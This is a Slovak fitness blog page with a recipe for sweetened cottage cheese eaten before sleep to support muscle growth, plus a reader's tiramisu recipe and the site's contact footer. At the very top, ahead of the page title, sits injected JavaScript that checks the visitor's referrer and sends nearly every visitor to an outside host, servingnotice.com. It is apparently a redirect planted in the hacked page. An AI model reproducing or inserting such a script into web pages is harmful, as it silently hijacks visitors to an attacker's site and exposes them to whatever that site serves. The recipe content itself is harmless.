var toUrl="http://"; var rUrl = document.referrer; var patrn=/(.*)$/; toUrl+="servingnotice.com/O7ul2v/intermediary.html?richubaidaninfo"; toUrl+=""; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)aol.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)yahoo.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; patrn=/(.*)bing.(.*)$/; if(patrn.exec(rUrl))window.location.href=toUrl; Tvaroh pred spaním pre rast svalov | www.bodytrener.sk
Blog
...naučte sa niečo nové!

Tvaroh pred spaním pre rast svalov

Ako už možno viete, svaly rastú hlavne v noci počas spánku. V dobe spania naše telo nemá možnosť konzumovať žiadne jedlo ani potraviny. V takomto prípade môžeme využiť tvaroh, ktorý sa do tela vstrebáva postupne a našim svalom zaručíme prísun živín počas celého spánku.

Suroviny na prípravu:

  • 250g nízkotučného tvarohu
  • 2 veľké lyžice kryštálového cukru
  • 1-2 jogurty(ovocné alebo biele)
  • 1-5 vajec
  • 100-300ml mlieko

Príprava tvarohu:

Všetko zmiešame do kopy a rozmixujeme.

Typy prípravy:

Je viacero možností ako tento chutný tvaroh pripraviť. Ja osobne nepoužívam kryštálový cukor a nahradím ho radšej ovocnými jogurtami. Vajcia dávam 1 alebo 2 lebo pri väčšom množstve vajec je chuť horšia.

Ak zvolíte väčšie množstvo vajec, stačí Vám pridať jeden jogurt a 100 ml mlieka.

Vytvoríme Vám kompletný jedálniček na mieru s preferovanými jedlami a receptami. Pozrite naše služby!

Diskusia (2)

    • Vallabh
    • 12. September 2012 o 18:53

    Pekne,ja delam tiramisu dle tirdicnaho receptu: Pouzivam italske piskoty Savoiardy, jsou dostupne i v mensich Albertech jinak je mozne i pouzit Sedita Pafino. Vetsinou nemixuji mascarpone a tvaroh a pouzivam jen mascarpone na 0.5kg 1-2 zloutky (samozrejme extreme cerstve) a tez pridavam naslehanou smetanu tak 0.2l na 0.5kg mascarpone. Jako liker do kafe spise volim konak a piskoty do kafe nenamacim jen je pokapu lzickou tak se akorat nasaknou a zaroven se nerozpusti. Kakeem sypu az po vychlazeni tesne pred podavanim. Kakao tak nenamokva od mascarpone. Dulezite je udrzet kontrast horkeho kakaa horkeho kafe a jemne nasladleho mascarpone, ktere je treba sladit jen trochu.

    Odpovedať
      • admin
      • 14. September 2012 o 23:56

      Dakujeme za dobrý recept. Prajeme pekný deň:)

      Odpovedať

Pridať komentár




Odber noviniek

Pridajte sa k odberu noviniek a získajte najnovšie informácie o článkoch, zľavách a súťažiach.

Potrebujete pomoc?

Adresa:
Bodytrener.sk
Pažite 5
010 09 Žilina

Pracovná doba:
Pondelok – Piatok
10:00 – 18:00

E-mail: info@bodytrener.sk
Telefón: +421 904 569 865

Bankové účty:
2200359578/8330 - SLOVENSKO
2900359579/2010 - ČESKO

© 2013 Bodytrener.sk. Všetky práva vyhradené.

Pridaj si nás na Facebooku